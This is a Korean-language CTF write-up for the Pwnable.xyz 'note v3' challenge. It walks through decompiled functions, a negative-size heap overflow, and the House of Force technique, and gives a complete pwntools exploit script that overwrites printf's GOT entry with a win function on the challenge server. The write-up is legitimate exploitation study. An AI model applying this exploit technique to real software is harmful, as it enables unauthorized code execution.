tmxklab

[Pwnable.xyz] note v3 본문

War Game/Pwnable.xyz

[Pwnable.xyz] note v3

tmxk4221 2020. 9. 9. 22:34

1. 문제

nc svc.pwnable.xyz 30041

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int make_note()
{
  _QWORD *v0; // rax
  signed int index; // [rsp+4h] [rbp-1Ch]
  __int64 size; // [rsp+8h] [rbp-18h]
  _QWORD *v4; // [rsp+10h] [rbp-10h]
  void *buf; // [rsp+18h] [rbp-8h]

  for ( index = 0; ; ++index )
  {
    if ( (unsigned int)index > 9 )
    {
      LODWORD(v0) = puts("Notebook full");
      return (int)v0;
    }
    if ( !notes[index] )
      break;
  }
  printf("Size: ");
  size = readint();
  v4 = malloc(size + 16);
  buf = malloc(0x20uLL);
  if ( !v4 || !buf )
  {
    puts("Error");
    exit(1);
  }
  printf("Title: ");
  read(0, buf, 0x20uLL);
  v4[1] = buf;
  printf("Note: ");
  *(_DWORD *)v4 = read(0, v4 + 2, size);
  v0 = notes;
  notes[index] = v4;
  return (int)v0;
}
  • note에 대한 size와 title, note입력 값을 받아 notes전역변수에서 관리하는 것 같다. 이따가 디버깅을 통해 청크 구조를 확인해보자

 

3-2) edit_note()

int edit_note()
{
  int result; // eax
  _DWORD *v1; // rbx
  unsigned __int64 index; // [rsp+8h] [rbp-18h]

  printf("Note: ");
  index = readint();
  if ( index > 9 || !notes[index] )
    return puts("Error");
  printf("Data: ");
  v1 = (_DWORD *)notes[index];
  result = read(0, (void *)(notes[index] + 16LL), *(unsigned int *)notes[index]);
  *v1 = result;
  return result;
}
  • index값이 9보다 크거나 note[index]에 값이 존재하지 않으면 리턴
  • 이후에 note청크에 data를 편집하고 read함수의 리턴 값을 size값으로 변경하는 것 같다.

 

3-3) list_note()

__int64 list_notes()
{
  __int64 result; // rax
  __int64 v1; // rdx
  int v2; // [rsp+4h] [rbp-Ch]
  __int64 i; // [rsp+8h] [rbp-8h]

  v2 = 0;
  result = notes[0];
  for ( i = notes[0]; i; i = notes[v1] )
  {
    printf("%s: %s\n", *(_QWORD *)(i + 8), i + 16);
    v1 = ++v2;
    result = notes[v1];
  }
  return result;
}
  • notes전역변수에 존재하는 note와 title을 전부 출력하는 것 같다.

 


2. 접근방법

 

1) 청크 구조 확인

notes(0x6012a0) : note_info chunk addr(size : dynamic)

note_info[0] : size

note_info[1] : title_chunk addr(size : static)

note_info[2] : note, size값 만큼 입력받을 수 있음

 

 

2) make_note() → readint()

make_note()에서 청크를 생성하는데 이 때 malloc의 크기를 readint()로 조절할 수 있다.

printf("Size: ");
nbytes = readint();
v4 = malloc(nbytes + 16);

만약에 사이즈 값을 -1로 준다면 malloc에서는 16을 더하므로 성공적으로 메모리 할당이 가능하지만

printf("Note: ");
*(_DWORD *)v4 = read(0, v4 + 2, nbytes);

nbytes에는 -1(0xffff ffff ffff ffff)이므로 청크의 크기보다 더 큰 값을 입력받을 수 있다. → heap overflow

  • read()에서 사이즈의 인자 값으로 0xffff ffff ffff ffff이 들어간 것을 확인

 

heap overflow로 인하여 Top Chunk의 값을 변경 가능하다. → house of force

참고 :

 

[heap exploit] - House Of Force

1. House Of Force House Of XXX 시리즈 중 하나이며 힙 기반 취약점을 기반으로 사용된다.(Top Chunk를 이용) 사용조건 : Overflow 등을 통해 Top Chunk의 size를 제어할 수 있어야 한다. 공격자는 Malloc 요청의..

rninche01.tistory.com

 

[할당 받기 원하는 주소] - [ Chunk Header size(0x10 or 0x8) ] - [ Top Chunk Address ] - [ Chunk Header size(0x10 or 0x8) ]

 

저렇게 계산해서 나온 값에 malloc하면 원하는 주소에 청크 할당이 가능하고 값을 쓸 수 있다.

 

공격 프로세스)

  • Top chunk의 주소를 알아야 하므로 Top chunk addr을 릭한다.
  • 위 공식을 이용하여 notes전역변수에 청크를 할당한다.
  • edit를 통해서 notes에 있는 printf@got에 win함수를 넣는다.

3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30041)
e = ELF("./challenge")
#gdb.attach(p)

win_addr = e.symbols['win']
printf_got = e.got['printf']
notes = 0x6012a0

def make(size, title, note):
	p.sendlineafter("> ", str(1))
	p.sendlineafter(": ", str(size))
	p.sendafter(": ", title)
	p.sendafter(": ", note)

def edit(idx, note):
	p.sendlineafter("> ", str(2))
	p.sendlineafter(": ", str(idx))
	p.sendafter(": ", note)



# 1. heap addr leak
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(-1))
p.sendafter(": ", "A")

make(10, "A", "B")
edit(0, "A"*0x46+"Z"*2)

p.sendlineafter("> ", str(3))
p.recvuntil("ZZ")
p.recvuntil("ZZ")

heap = u64(p.recvuntil("\n")[:-1].ljust(8, '\x00'))
top_chunk = heap + 0x20
size = notes - 0x20 - top_chunk - 0x8

log.info("top chunk  : "+hex(top_chunk))
log.info("size       : "+hex(size))

edit(1, "A"*0x48 + p64(0xffffffffffffffff))

# 2. notes[3] -> puts@got + 0x8
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(size))
p.sendafter(": ", "A"*0x18+p64(printf_got-0x10))

# 3. got overwrite 
edit(3, p64(win_addr))

p.interactive()

 

2) 실행결과

 

처음에 puts를 가지고 got overwrite를 진행했는데 win()에서 세그먼테이션 폴트 에러뜨면서 종료되어서 printf로 got overwrite를 하니깐 성공했다.

에러 발생한 부분


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] knum  (0) 2020.09.09
[Pwnable.xyz] PvE  (0) 2020.09.09
[Pwnable.xyz] door  (0) 2020.09.09
[Pwnable.xyz] child  (0) 2020.09.09
[Pwnable.xyz] car shop  (0) 2020.09.09
Comments